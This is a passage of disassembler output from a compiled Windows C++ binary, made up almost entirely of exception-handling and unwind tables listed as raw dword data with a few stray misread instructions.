		dd 438753h, 0Bh, 43875Eh, 0Ch, 438766h,	0Dh, 43876Eh, 0Eh
		dd 438779h, 0Fh, 438784h, 10h, 43878Fh,	11h, 43879Ah, 12h
		dd 4387A5h, 13h, 4387B0h, 14h, 4387BBh,	15h, 4387C6h, 16h
		dd 4387D1h, 17h, 4387DCh, 18h, 4387E7h,	19h, 4387F2h, 1Ah
		dd 4387FDh, 1Bh, 438808h, 1Ch, 438813h,	1Dh, 43881Eh, 1Eh
		dd 438829h, 1Eh, 438834h, 1Eh, 43883Fh,	1Eh, 43884Ah, 1Eh
		dd 438855h, 1Eh, 438860h, 1Eh, 43886Bh,	1Eh, 438876h, 1Eh
		dd 438881h, 1Eh, 43888Ch, 28h, 438897h,	1Eh, 438897h, 1Eh
		dd 4388A2h, 2Bh, 4388ADh, 1Eh, 4388ADh,	1Eh, 4388B8h, 2Eh
		dd 4388C3h, 1Eh, 4388C3h, 1Eh, 4388CEh,	31h, 4388D9h, 1Eh
		dd 4388D9h, 1Eh, 4388E4h, 34h, 4388EFh,	1Eh, 4388EFh, 1Eh
		dd 4388FAh, 37h, 438905h, 1Eh, 438905h,	1Eh, 438910h, 3Ah
		dd 43891Bh, 1Eh, 43891Bh, 1Eh, 438926h,	3Dh, 438931h, 1Eh
		dd 438931h, 1Eh, 43893Ch, 40h, 438947h,	1Eh, 438947h, 1Eh
		dd 438952h, 43h, 43895Dh, 1Eh, 43895Dh,	1Eh, 438968h, 46h
		dd 438973h, 1Eh, 438973h, 1Eh, 43897Eh,	49h, 438989h, 1Eh
		dd 438989h, 1Eh, 438994h, 4Ch, 43899Fh,	1Eh, 43899Fh, 1Eh
		dd 4389AAh, 4Fh, 4389B5h, 1Eh, 4389B5h,	1Eh, 4389C0h, 52h
		dd 4389CBh, 53h, 4389D6h, 54h, 4389E1h,	55h, 4389ECh, 13h dup(0)
		dd offset off_443878
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	436890h, 2 dup(0)
		dd offset off_443898
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	436CBAh, 2 dup(0)
		dd offset off_4438C0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	436CC0h, 0
dword_43F070	dd 3, 43F050h, 43F030h,	43F010h, 2 dup(0)dword_43F088	dd 0							; ___:0040AA17o
		dd offset byte_436CC6
		dd 0
		dd offset dword_43F070
		align 10h
dword_43F0A0	dd 19930520h			dd 1, 43F0C0h, 5 dup(0)
		dd 0FFFFFFFFh, 438AD0h,	2 dup(0)
dword_43F0D0	dd 19930520h, 1, 43F0F0h, 5 dup(0)		dd 0FFFFFFFFh, 438AF0h,	2 dup(0)
dword_43F100	dd 19930520h, 3, 43F120h, 5 dup(0)		dd 0FFFFFFFFh, 438B10h,	0
		dd offset loc_438B27
		dd 1, 438B2Fh, 2 dup(0)
dword_43F140	dd 19930520h, 1, 43F160h, 5 dup(0)		dd 0FFFFFFFFh, 438B50h,	2 dup(0)
dword_43F170	dd 19930520h, 2, 43F190h, 1, 43F1A0h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 43F1B8h, 4	dup(0)
		dd offset sub_40AED2
		align 10h
dword_43F1D0	dd 19930520h, 2, 43F1F0h, 1, 43F200h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 43F218h, 4	dup(0)
		dd offset loc_40B051
		align 10h
dword_43F230	dd 19930520h, 4, 43F250h, 5 dup(0)		dd 0FFFFFFFFh, 438B90h,	0
		dd offset loc_438B9B
		dd 1, 438BA6h, 2, 438BB1h, 2 dup(0)
dword_43F278	dd 19930520h, 4, 43F298h, 5 dup(0)		dd 0FFFFFFFFh, 438BE0h,	0
		dd offset loc_438BEB
		dd 1, 438BF6h, 2, 438C01h, 2 dup(0)
dword_43F2C0	dd 19930520h, 3, 43F2E0h, 5 dup(0)		dd 0FFFFFFFFh, 438C30h,	0FFFFFFFFh, 438C38h, 0FFFFFFFFh
		dd 438C40h, 2 dup(0)
dword_43F300	dd 19930520h, 3, 43F320h, 5 dup(0)		dd 0FFFFFFFFh, 438C60h,	0
		dd offset loc_438C68
		dd 1, 438C70h, 2 dup(0)
dword_43F340	dd 19930520h, 1, 43F360h, 5 dup(0)		dd 0FFFFFFFFh, 438C90h,	2 dup(0)
dword_43F370	dd 19930520h, 4, 43F390h, 5 dup(0)		dd 0FFFFFFFFh, 438CB0h,	0FFFFFFFFh, 438CB8h, 0FFFFFFFFh
		dd 438CC0h, 2, 438CC8h,	2 dup(0)
dword_43F3B8	dd 19930520h, 1, 43F3D8h, 5 dup(0)		dd 0FFFFFFFFh, 438CF0h,	2 dup(0)
dword_43F3E8	dd 19930520h, 4, 43F408h, 5 dup(0)		dd 0FFFFFFFFh, 438D10h,	0
		dd offset loc_438D1B
		dd 0
		dd offset loc_438D26
		dd 2, 438D31h, 2 dup(0)
dword_43F430	dd 19930520h, 1, 43F450h, 5 dup(0)		dd 0FFFFFFFFh, 438D60h,	2 dup(0)
dword_43F460	dd 19930520h, 5, 43F480h, 5 dup(0)		dd 0FFFFFFFFh, 438D80h,	0
		dd offset loc_438D8B
		dd 0
		dd offset loc_438D96
		dd 0
		dd offset loc_438DA1
		dd 0
		dd offset loc_438DAC
		align 10h
dword_43F4B0	dd 19930520h, 2, 43F4D0h, 5 dup(0)		dd 0FFFFFFFFh, 438DE0h,	0
		dd offset loc_438DEB
		dd 2 dup(0)
dword_43F4E8	dd 19930520h, 2, 43F508h, 5 dup(0)		dd 0FFFFFFFFh, 438E10h,	0
		dd offset loc_438E1B
		align 10h
dword_43F520	dd 19930520h, 4, 43F540h, 5 dup(0)		dd 0FFFFFFFFh, 438E40h,	0FFFFFFFFh, 438E48h, 0FFFFFFFFh
		dd 438E50h, 0FFFFFFFFh,	438E58h, 2 dup(0)
dword_43F568	dd 19930520h, 8, 43F588h, 5 dup(0)		dd 0FFFFFFFFh, 438E80h,	0
		dd offset loc_438E8B
		dd 1, 438E96h, 1, 438EA1h, 1, 438EACh, 1, 438EB7h, 1, 438EC2h
		dd 1, 438ECDh, 4 dup(0)
dword_43F5D8	dd 19930520h, 0Dh, 43F5F8h, 5 dup(0)		dd 0FFFFFFFFh, 438F00h,	0FFFFFFFFh, 438F0Bh, 1,	438F16h
		dd 2, 438F21h, 3, 438F2Ch, 4, 438F37h, 5, 438F42h, 6, 438F4Dh
		dd 7, 438F58h, 8, 438F63h, 9, 438F6Eh, 0Ah, 438F79h, 0Bh
		dd 438F84h, 4 dup(0)
dword_43F670	dd 19930520h, 6, 43F690h, 5 dup(0)		dd 0FFFFFFFFh, 438FC0h,	0
		dd offset loc_438FC8
		dd 1, 438FD0h, 2, 438FD8h, 2, 438FE0h, 2, 438FE8h, 2 dup(0)
dword_43F6C8	dd 19930520h, 6, 43F6E8h, 5 dup(0)		dd 0FFFFFFFFh, 439010h,	0
		dd offset loc_439018
		dd 1, 439020h, 2, 439028h, 2, 439030h, 2, 439038h, 2 dup(0)
dword_43F720	dd 19930520h, 3, 43F740h, 5 dup(0)		dd 0FFFFFFFFh, 439060h,	0
		dd offset loc_439068
		dd 1, 439070h, 2 dup(0)
dword_43F760	dd 19930520h, 1, 43F780h, 5 dup(0)		dd 0FFFFFFFFh, 439090h,	2 dup(0)
dword_43F790	dd 19930520h, 7, 43F7B0h, 5 dup(0)		dd 0FFFFFFFFh, 4390B0h,	0
		dd offset loc_4390B8
		dd 0FFFFFFFFh, 4390C0h,	0FFFFFFFFh, 4390C8h, 3,	4390D0h
		dd 4, 4390D8h, 0FFFFFFFFh, 4390E0h, 2 dup(0)
dword_43F7F0	dd 19930520h, 24h, 43F810h, 5 dup(0)		dd 0FFFFFFFFh, 439110h,	0
		dd offset loc_439118
		dd 1, 439123h, 2, 43912Eh, 3, 439139h, 4, 439147h, 5, 439155h
		dd 6, 439163h, 7, 439171h, 8, 43917Fh, 9, 43918Dh, 0Ah
		dd 43919Bh, 0Bh, 4391A9h, 0Ch, 4391B7h,	0Dh, 4391C5h, 0Eh
		dd 4391D3h, 0Fh, 4391E1h, 10h, 4391EFh,	11h, 4391FDh, 11h
		dd 439205h, 11h, 43920Dh, 11h, 439215h,	11h, 43921Dh, 11h
		dd 439225h, 11h, 43922Dh, 11h, 439235h,	11h, 43923Dh, 11h
		dd 439245h, 11h, 43924Dh, 11h, 439255h,	11h, 43925Dh, 11h
		dd 439265h, 11h, 43926Dh, 11h, 439275h,	11h, 43927Dh, 11h
		dd 439285h, 8 dup(0)
dword_43F950	dd 19930520h, 11h, 43F970h, 5 dup(0)		dd 0FFFFFFFFh, 439300h,	0
		dd offset loc_439308
		dd 1, 439313h, 2, 43931Eh, 3, 439329h, 4, 439337h, 5, 439345h
		dd 6, 439353h, 7, 439361h, 8, 43936Fh, 9, 43937Dh, 0Ah
		dd 43938Bh, 0Bh, 439399h, 0Ch, 4393A7h,	0Dh, 4393B5h, 0Eh
		dd 4393C3h, 0Fh, 4393D1h, 4 dup(0)
dword_43FA08	dd 19930520h, 38h, 43FA28h, 5 dup(0)		dd 0FFFFFFFFh, 439430h,	0
		dd offset loc_43943B
		dd 1, 439446h, 0
		dd offset loc_439451
		dd 0
		dd offset loc_43945C
		dd 0
		dd offset loc_439467
		dd 0
		dd offset loc_439472
		dd 0
		dd offset loc_43947D
		dd 0
		dd offset loc_439488
		dd 0
		dd offset loc_439493
		dd 9, 43949Eh, 0
		dd offset loc_4394A9
		dd 0
		dd offset loc_4394B4
		dd 0
		dd offset loc_4394BF
		dd 0
; ---------------------------------------------------------------------------
		retf	4394h
; ---------------------------------------------------------------------------
		align 10h
		dd 0Eh,	4394D5h, 0Eh, 4394E3h, 0Eh, 4394F1h, 0Eh, 4394FCh
		dd 0Eh,	43950Ah, 0Eh, 439518h, 0Eh, 439523h, 0Eh, 43952Eh
		dd 0
		dd offset loc_439539
		dd 0
		dd offset loc_439544
		dd 0
		dd offset loc_439552
		dd 0
		dd offset loc_439560
		dd 1Ah,	43956Bh, 1Bh, 439576h, 0
		dd offset loc_439581
		dd 1Dh,	43958Ch, 0
		dd offset loc_439597
		dd 1Fh,	4395A2h, 0
		dd offset loc_4395AD
		dd 0
		dd offset loc_4395B8
		dd 0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 95h,	43h, 0
		dd 0
		dd offset loc_4395CE
		dd 0
		dd offset loc_4395D9
		dd 25h,	4395E4h, 26h, 4395EFh, 0
		dd offset loc_4395EF
		dd 28h,	4395E4h, 0
		dd offset loc_4395FA
		dd 0
		dd offset loc_439605
		dd 2Bh,	439610h, 2Ch, 43961Bh, 0
		dd offset loc_43961B
		dd 2Eh,	439610h, 2Eh, 439626h, 0
		dd offset loc_439631
		dd 31h,	43963Ch, 0
		dd offset loc_439647
		dd 0
		dd offset loc_439652
		dd 34h,	43965Dh, 35h, 439668h, 34h, 439668h, 0Ch dup(0)
dword_43FC18	dd 19930520h, 1, 43FC38h, 5 dup(0)		dd 0FFFFFFFFh, 439710h,	2 dup(0)
dword_43FC48	dd 19930520h, 1, 43FC68h, 5 dup(0)		dd 0FFFFFFFFh, 439730h,	2 dup(0)
dword_43FC78	dd 19930520h, 6, 43FC98h, 5 dup(0)		dd 0FFFFFFFFh, 439750h,	0
		dd offset loc_439758
		dd 1, 439763h, 2, 43976Eh, 3, 439779h, 4, 439784h, 2 dup(0)
dword_43FCD0	dd 19930520h, 6, 43FCF0h, 5 dup(0)		dd 0FFFFFFFFh, 4397B0h,	0
		dd offset loc_4397B8
		dd 1, 4397C3h, 2, 4397CEh, 3, 4397D9h, 4, 4397E4h, 2 dup(0)
dword_43FD28	dd 19930520h, 0Ah, 43FD48h, 5 dup(0)		dd 0FFFFFFFFh, 439810h,	0FFFFFFFFh, 439818h, 0FFFFFFFFh
		dd 439820h, 0FFFFFFFFh,	439828h, 0FFFFFFFFh, 439830h, 0FFFFFFFFh
		dd 439838h, 0FFFFFFFFh,	439840h, 0FFFFFFFFh, 439848h, 0FFFFFFFFh
		dd 439850h, 0FFFFFFFFh,	439858h, 4 dup(0)
dword_43FDA8	dd 19930520h, 0Eh, 43FDC8h, 5 dup(0)		dd 0FFFFFFFFh, 439880h,	0
		dd offset loc_439888
		dd 0FFFFFFFFh, 439893h,	0FFFFFFFFh, 43989Bh, 0FFFFFFFFh
		dd 4398A3h, 0FFFFFFFFh,	4398ABh, 5, 4398B6h, 0FFFFFFFFh
		dd 4398BEh, 0FFFFFFFFh,	4398C6h, 0FFFFFFFFh, 4398CEh, 9
		dd 4398D9h, 0FFFFFFFFh,	4398E1h, 0Bh, 4398E9h, 0Ch, 4398F1h
		dd 4 dup(0)
dword_43FE48	dd 19930520h, 2, 43FE68h, 5 dup(0)		dd 0FFFFFFFFh, 439938h,	0
		dd offset loc_439930
		align 10h
dword_43FE80	dd 19930520h, 2, 43FEA0h, 5 dup(0)		dd 0FFFFFFFFh, 439970h,	0
		dd offset loc_439978
		dd 2 dup(0)
dword_43FEB8	dd 19930520h, 1, 43FED8h, 5 dup(0)		dd 0FFFFFFFFh, 439990h,	2 dup(0)
dword_43FEE8	dd 19930520h, 7, 43FF08h, 5 dup(0)		dd 0FFFFFFFFh, 4399B0h,	0
		dd offset loc_4399B8
		dd 1, 4399C3h, 2, 4399CEh, 2, 4399D6h, 4, 4399DEh, 5, 4399E6h
		dd 2 dup(0)
dword_43FF48	dd 19930520h, 4, 43FF68h, 5 dup(0)		dd 0FFFFFFFFh, 439A10h,	0
		dd offset loc_439A1B
		dd 1, 439A26h, 2, 439A31h, 2 dup(0)
dword_43FF90	dd 19930520h, 4, 43FFB0h, 5 dup(0)		dd 0FFFFFFFFh, 439A60h,	0
		dd offset loc_439A6B
		dd 1, 439A76h, 2, 439A81h, 2 dup(0)
dword_43FFD8	dd 19930520h, 2, 43FFF8h, 5 dup(0)		dd 0FFFFFFFFh, 439AB0h,	0FFFFFFFFh, 439AB8h, 2 dup(0)
dword_440010	dd 19930520h, 1, 440030h, 5 dup(0)		dd 0FFFFFFFFh, 439AD0h,	2 dup(0)
dword_440040	dd 19930520h, 1, 440060h, 5 dup(0)		dd 0FFFFFFFFh, 439AF0h,	2 dup(0)
dword_440070	dd 19930520h, 2, 440090h, 5 dup(0)		dd 0FFFFFFFFh, 439B10h,	0
		dd offset loc_439B18
		dd 2 dup(0)
dword_4400A8	dd 19930520h, 3, 4400C8h, 5 dup(0)		dd 0FFFFFFFFh, 439B30h,	0
		dd offset loc_439B38
		dd 1, 439B43h, 2 dup(0)
dword_4400E8	dd 19930520h, 3, 440108h, 5 dup(0)		dd 0FFFFFFFFh, 439B70h,	0
		dd offset loc_439B78
		dd 1, 439B80h, 2 dup(0)
dword_440128	dd 19930520h, 1, 440148h, 5 dup(0)		dd 0FFFFFFFFh, 439BA0h,	2 dup(0)
dword_440158	dd 19930520h, 4, 440178h, 5 dup(0)		dd 0FFFFFFFFh, 439BC0h,	0
		dd offset loc_439BC8
		dd 0
		dd offset loc_439BD0
		dd 0
		dd offset loc_439BDB
		align 10h
dword_4401A0	dd 19930520h, 6, 4401C0h, 5 dup(0)		dd 0FFFFFFFFh, 439C00h,	0
		dd offset loc_439C08
		dd 1, 439C10h, 2, 439C18h, 3, 439C20h, 4, 439C28h, 2 dup(0)
dword_4401F8	dd 19930520h, 3, 440218h, 5 dup(0)		dd 0FFFFFFFFh, 439C50h,	0
		dd offset loc_439C5B
		dd 1, 439C66h, 2 dup(0)
dword_440238	dd 19930520h, 4, 440258h, 5 dup(0)		dd 0FFFFFFFFh, 439C90h,	0
		dd offset loc_439C98
		dd 1, 439CA0h, 2, 439CA8h, 2 dup(0)
dword_440280	dd 19930520h, 5, 4402A0h, 5 dup(0)		dd 0FFFFFFFFh, 439CD0h,	0
		dd offset loc_439CD8
		dd 1, 439CE0h, 2, 439CE8h, 3, 439CF0h, 2 dup(0)
dword_4402D0	dd 19930520h, 4, 4402F0h, 5 dup(0)		dd 0FFFFFFFFh, 439D20h,	0
		dd offset loc_439D28
		dd 1, 439D33h, 2, 439D3Eh, 2 dup(0)
dword_440318	dd 19930520h, 3, 440338h, 5 dup(0)		dd 0FFFFFFFFh, 439D60h,	0
		dd offset loc_439D68
		dd 1, 439D70h, 2 dup(0)
dword_440358	dd 19930520h, 1, 440378h, 5 dup(0)		dd 0FFFFFFFFh, 439D90h,	2 dup(0)
dword_440388	dd 19930520h, 2, 4403A8h, 5 dup(0)		dd 0FFFFFFFFh, 439DB0h
		db 3 dup(0)
byte_4403B3	db 0			; DATA XREF: sub_5A55E5:loc_5B01A4o
		dd offset loc_439DB8
		align 10h
dword_4403C0	dd 19930520h, 2, 4403E0h, 5 dup(0)		dd 0FFFFFFFFh, 439DD0h,	0
		dd offset loc_439DD8
		dd 2 dup(0)
dword_4403F8	dd 19930520h, 3, 440418h, 5 dup(0)		dd 0FFFFFFFFh, 439DF0h,	0
		dd offset loc_439DFB
		dd 1, 439E06h, 2 dup(0)
dword_440438	dd 19930520h, 1, 440458h, 5 dup(0)		dd 0FFFFFFFFh, 439E30h,	2 dup(0)
dword_440468	dd 19930520h, 1, 440488h, 5 dup(0)		dd 0FFFFFFFFh, 439E50h,	2 dup(0)
dword_440498	dd 19930520h, 4, 4404B8h, 5 dup(0)		dd 0FFFFFFFFh, 439E70h,	0
		dd offset loc_439E78
		dd 1, 439E83h, 2, 439E8Eh, 2 dup(0)
dword_4404E0	dd 19930520h, 7, 440500h, 5 dup(0)		dd 0FFFFFFFFh, 439EB0h,	0FFFFFFFFh, 439EB8h, 0FFFFFFFFh
		dd 439EC0h, 2, 439EC8h,	3, 439ED0h, 4, 439ED8h,	0FFFFFFFFh
		dd 439EE0h, 2 dup(0)
dword_440540	dd 19930520h, 1Bh, 440560h, 5 dup(0)		dd 0FFFFFFFFh, 439F10h,	0
		dd offset loc_439F18
		dd 1, 439F23h, 2, 439F31h, 3, 439F3Fh, 4, 439F4Dh, 5, 439F5Bh
		dd 6, 439F69h, 7, 439F77h, 8, 439F85h, 9, 439F93h, 0Ah
		dd 439FA1h, 0Bh, 439FAFh, 0Ch, 439FBDh,	0Dh, 439FCBh, 0Eh
		dd 439FD9h, 0Fh, 439FE7h, 10h, 439FF5h,	11h, 43A003h, 12h
		dd 43A011h, 13h, 43A01Fh, 14h, 43A02Dh,	15h, 43A03Bh, 16h
		dd 43A049h, 17h, 43A057h, 18h, 43A065h,	19h, 43A073h, 6	dup(0)
dword_440650	dd 19930520h, 1Bh, 440670h, 5 dup(0)		dd 0FFFFFFFFh, 43A0F0h,	0
		dd offset loc_43A0F8
		dd 1, 43A103h, 2, 43A111h, 3, 43A11Fh, 4, 43A12Dh, 5, 43A13Bh
		dd 6, 43A149h, 7, 43A157h, 8, 43A165h, 9, 43A173h, 0Ah
		dd 43A181h, 0Bh, 43A18Fh, 0Ch, 43A19Dh,	0Dh, 43A1ABh, 0Eh
		dd 43A1B9h, 0Fh, 43A1C7h, 10h, 43A1D5h,	11h, 43A1E3h, 12h
		dd 43A1F1h, 13h, 43A1FFh, 14h, 43A20Dh,	15h, 43A21Bh, 16h
		dd 43A229h, 17h, 43A237h, 18h, 43A245h,	19h, 43A253h, 6	dup(0)
dword_440760	dd 19930520h, 1, 440780h, 5 dup(0)		dd 0FFFFFFFFh, 43A2D0h,	2 dup(0)
dword_440790	dd 19930520h, 3Dh, 4407B0h, 5 dup(0)		dd 0FFFFFFFFh, 43A2F0h,	0
		dd offset loc_43A2FB
		dd 1, 43A306h, 2, 43A314h, 3, 43A322h, 4, 43A330h, 5, 43A33Eh
		dd 6, 43A34Ch, 7, 43A35Ah, 8, 43A368h, 9, 43A376h, 0Ah
		dd 43A384h, 0Bh, 43A392h, 0Ch, 43A3A0h,	0Dh, 43A3AEh, 0Eh
		dd 43A3BCh, 0Fh, 43A3CAh, 10h, 43A3D8h,	11h, 43A3E6h, 12h
		dd 43A3F4h, 13h, 43A402h, 14h, 43A410h,	15h, 43A41Eh, 16h
		dd 43A42Ch, 17h, 43A43Ah, 18h, 43A448h,	19h, 43A456h, 1Ah
		dd 43A464h, 1Bh, 43A472h, 1Ch, 43A480h,	1Dh, 43A48Eh, 1Eh
		dd 43A49Ch, 1Fh, 43A4AAh, 20h, 43A4B8h,	21h, 43A4C6h, 22h
		dd 43A4D4h, 23h, 43A4E2h, 24h, 43A4F0h,	25h, 43A4FEh, 26h
		dd 43A50Ch, 27h, 43A51Ah, 28h, 43A528h,	29h, 43A536h, 2Ah
		dd 43A544h, 2Bh, 43A552h, 2Ch, 43A560h,	2Dh, 43A56Eh, 2Eh
		dd 43A57Ch, 2Fh, 43A58Ah, 30h, 43A598h,	31h, 43A5A6h, 32h
		dd 43A5B4h, 33h, 43A5C2h, 34h, 43A5D0h,	35h, 43A5DEh, 36h
		dd 43A5ECh, 37h, 43A5FAh, 38h, 43A608h,	39h, 43A616h, 3Ah
		dd 43A624h, 3Bh, 43A632h, 0Eh dup(0)
dword_4409D0	dd 19930520h, 4, 4409F0h, 5 dup(0)		dd 0FFFFFFFFh, 43A720h,	0
		dd offset loc_43A72B
		dd 1, 43A736h, 2, 43A741h, 2 dup(0)
dword_440A18	dd 19930520h, 6, 440A38h, 5 dup(0)		dd 0FFFFFFFFh, 43A770h,	0
		dd offset loc_43A77B
		dd 1, 43A786h, 2, 43A791h, 3, 43A79Fh, 4, 43A7ADh, 2 dup(0)
dword_440A70	dd 19930520h, 4, 440A90h, 5 dup(0)		dd 0FFFFFFFFh, 43A7E0h,	0
		dd offset loc_43A7EE
		dd 1, 43A7FCh, 2, 43A80Ah, 2 dup(0)
dword_440AB8	dd 19930520h, 5, 440AD8h, 5 dup(0)		dd 0FFFFFFFFh, 43A840h,	0
		dd offset loc_43A84B
		dd 1, 43A856h, 2, 43A861h, 3, 43A86Fh, 2 dup(0)
dword_440B08	dd 19930520h, 5, 440B28h, 5 dup(0)		dd 0FFFFFFFFh, 43A8A0h,	0
		dd offset loc_43A8AB
		dd 1, 43A8B6h, 2, 43A8C1h, 3, 43A8CFh, 2 dup(0)
dword_440B58	dd 19930520h, 1, 440B78h, 5 dup(0)		dd 0FFFFFFFFh, 43A900h,	2 dup(0)
dword_440B88	dd 19930520h, 1, 440BA8h, 5 dup(0)		dd 0FFFFFFFFh, 43A920h,	2 dup(0)
dword_440BB8	dd 19930520h, 1, 440BD8h, 5 dup(0)		dd 0FFFFFFFFh, 43A940h,	2 dup(0)
dword_440BE8	dd 19930520h, 2, 440C08h, 5 dup(0)		dd 0FFFFFFFFh, 43A960h,	0
		dd offset loc_43A96B
		align 10h
dword_440C20	dd 19930520h, 4, 440C40h, 5 dup(0)		dd 0FFFFFFFFh, 43A990h,	0
		dd offset loc_43A99B
		dd 1, 43A9A6h, 2, 43A9B1h, 2 dup(0)
dword_440C68	dd 19930520h, 4, 440C88h, 5 dup(0)		dd 0FFFFFFFFh, 43A9E0h,	0
		dd offset loc_43A9EB
		dd 1, 43A9F6h, 2, 43AA01h, 2 dup(0)
dword_440CB0	dd 19930520h, 6, 440CD0h, 5 dup(0)		dd 0FFFFFFFFh, 43AA30h,	0
		dd offset loc_43AA3B
		dd 1, 43AA46h, 2, 43AA51h, 3, 43AA5Fh, 4, 43AA6Dh, 2 dup(0)
dword_440D08	dd 19930520h, 4, 440D28h, 5 dup(0)		dd 0FFFFFFFFh, 43AAA0h,	0
		dd offset loc_43AAAE
		dd 1, 43AABCh, 2, 43AACAh, 2 dup(0)
dword_440D50	dd 19930520h, 5, 440D70h, 5 dup(0)		dd 0FFFFFFFFh, 43AB00h,	0
		dd offset loc_43AB0B
		dd 1, 43AB16h, 2, 43AB21h, 3, 43AB2Fh, 2 dup(0)
dword_440DA0	dd 19930520h, 5, 440DC0h, 5 dup(0)		dd 0FFFFFFFFh, 43AB60h,	0
		dd offset loc_43AB6B
		dd 1, 43AB76h, 2, 43AB81h, 3, 43AB8Fh, 2 dup(0)
dword_440DF0	dd 19930520h, 1, 440E10h, 5 dup(0)		dd 0FFFFFFFFh, 43ABC0h,	2 dup(0)
dword_440E20	dd 19930520h, 1, 440E40h, 5 dup(0)		dd 0FFFFFFFFh, 43ABE0h,	2 dup(0)
dword_440E50	dd 19930520h, 1, 440E70h, 5 dup(0)		dd 0FFFFFFFFh, 43AC00h,	2 dup(0)
dword_440E80	dd 19930520h, 2, 440EA0h, 5 dup(0)		dd 0FFFFFFFFh, 43AC20h,	0
		dd offset loc_43AC2B
		dd 2 dup(0)
dword_440EB8	dd 19930520h, 4, 440ED8h, 5 dup(0)		dd 0FFFFFFFFh, 43AC50h,	0
		dd offset loc_43AC5B
		dd 1, 43AC66h, 2, 43AC71h, 2 dup(0)
dword_440F00	dd 19930520h, 1, 440F20h, 5 dup(0)		dd 0FFFFFFFFh, 43ACA0h,	2 dup(0)
dword_440F30	dd 19930520h, 2, 440F50h, 5 dup(0)		dd 0FFFFFFFFh, 43ACC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 43h, 0
		dd 2 dup(0)
dword_440F68	dd 19930520h, 1, 440F88h, 5 dup(0)		dd 0FFFFFFFFh, 43ACF0h,	2 dup(0)
dword_440F98	dd 19930520h, 1, 440FB8h, 5 dup(0)		dd 0FFFFFFFFh, 43AD10h,	2 dup(0)
dword_440FC8	dd 19930520h, 2, 440FE8h, 5 dup(0)		dd 0FFFFFFFFh, 43AD30h,	0
		dd offset loc_43AD3B
		align 10h
dword_441000	dd 19930520h, 1, 441020h, 5 dup(0)		dd 0FFFFFFFFh, 43AD60h,	2 dup(0)
dword_441030	dd 19930520h, 3, 441050h, 5 dup(0)		dd 0FFFFFFFFh, 43AD80h,	0
		dd offset loc_43AD97
		dd 1, 43AD9Fh, 2 dup(0)
dword_441070	dd 19930520h, 1, 441090h, 5 dup(0)		dd 0FFFFFFFFh, 43ADC0h,	2 dup(0)
dword_4410A0	dd 19930520h, 4, 4410C0h, 5 dup(0)		dd 0FFFFFFFFh, 43ADE8h,	0
		dd offset sub_43ADE0
		dd 0
; ---------------------------------------------------------------------------
		jmp	fword ptr [ebp+20043h]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_43AE07
		dd 2 dup(0)
dword_4410E8	dd 19930520h, 6, 441108h, 5 dup(0)		dd 0FFFFFFFFh, 43AE30h,	0FFFFFFFFh, 43AE38h, 0FFFFFFFFh
		dd 43AE40h, 0FFFFFFFFh,	43AE48h, 0FFFFFFFFh, 43AE50h, 0FFFFFFFFh
		dd 43AE58h, 2 dup(0)
dword_441140	dd 19930520h, 1Ah, 441160h, 5 dup(0)		dd 0FFFFFFFFh, 43AE80h,	0
		dd offset loc_43AE8B
		dd 1, 43AE96h, 2, 43AEA1h, 3, 43AEACh, 4, 43AEB7h, 5, 43AEBFh
		dd 5, 43AECAh, 5, 43AED5h, 5, 43AEE3h, 5, 43AEEEh, 5, 43AEF9h
		dd 5, 43AF07h, 5, 43AF12h, 5, 43AF1Dh, 5, 43AF28h, 5, 43AF36h
		dd 5, 43AF41h, 5, 43AF4Ch, 5, 43AF5Ah, 5, 43AF65h, 5, 43AF70h
		dd 5, 43AF7Eh, 5, 43AF89h, 5, 43AF94h, 5, 43AF9Fh, 6 dup(0)
dword_441248	dd 19930520h, 4, 441268h, 5 dup(0)		dd 0FFFFFFFFh, 43B010h,	0
		dd offset loc_43B018
		dd 1, 43B023h, 2, 43B02Eh, 2 dup(0)
dword_441290	dd 19930520h, 4, 4412B0h, 5 dup(0)		dd 0FFFFFFFFh, 43B050h,	0
		dd offset loc_43B058
		dd 1, 43B063h, 2, 43B06Eh, 2 dup(0)
dword_4412D8	dd 19930520h, 6, 4412F8h, 5 dup(0)		dd 0FFFFFFFFh, 43B090h,	0
		dd offset loc_43B098
		dd 1, 43B0A3h, 2, 43B0AEh, 3, 43B0B9h, 4, 43B0C4h, 2 dup(0)
dword_441330	dd 19930520h, 6, 441350h, 5 dup(0)		dd 0FFFFFFFFh, 43B0F0h,	0
		dd offset loc_43B0F8
		dd 1, 43B103h, 2, 43B10Eh, 3, 43B119h, 4, 43B124h, 2 dup(0)
dword_441388	dd 19930520h, 6, 4413A8h, 5 dup(0)		dd 0FFFFFFFFh, 43B150h,	0FFFFFFFFh, 43B15Bh, 0FFFFFFFFh
		dd 43B166h, 2, 43B171h,	3, 43B17Ch, 2, 43B187h,	2 dup(0)
dword_4413E0	dd 19930520h, 3, 441400h, 5 dup(0)		dd 0FFFFFFFFh, 43B1B0h,	0FFFFFFFFh, 43B1B8h, 0FFFFFFFFh
		dd 43B1C0h, 2 dup(0)
dword_441420	dd 19930520h, 5, 441440h, 5 dup(0)		dd 0FFFFFFFFh, 43B1E0h,	0FFFFFFFFh, 43B1E8h, 0FFFFFFFFh
		dd 43B1F0h, 0FFFFFFFFh,	43B1F8h, 0FFFFFFFFh, 43B200h, 2	dup(0)
dword_441470	dd 19930520h, 0Ch, 441490h, 5 dup(0)		dd 0FFFFFFFFh, 43B220h,	0
		dd offset loc_43B228
		dd 0FFFFFFFFh, 43B230h,	0FFFFFFFFh, 43B238h, 0FFFFFFFFh
		dd 43B240h, 0FFFFFFFFh,	43B248h, 5, 43B250h, 0FFFFFFFFh
		dd 43B258h, 0FFFFFFFFh,	43B260h, 0FFFFFFFFh, 43B268h, 0FFFFFFFFh
		dd 43B270h, 0FFFFFFFFh,	43B278h, 4 dup(0)
		dd 19930520h, 2, 441520h, 1, 441530h, 3	dup(0)
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 441548h, 4	dup(0)
		dd offset loc_41EECC
		align 10h
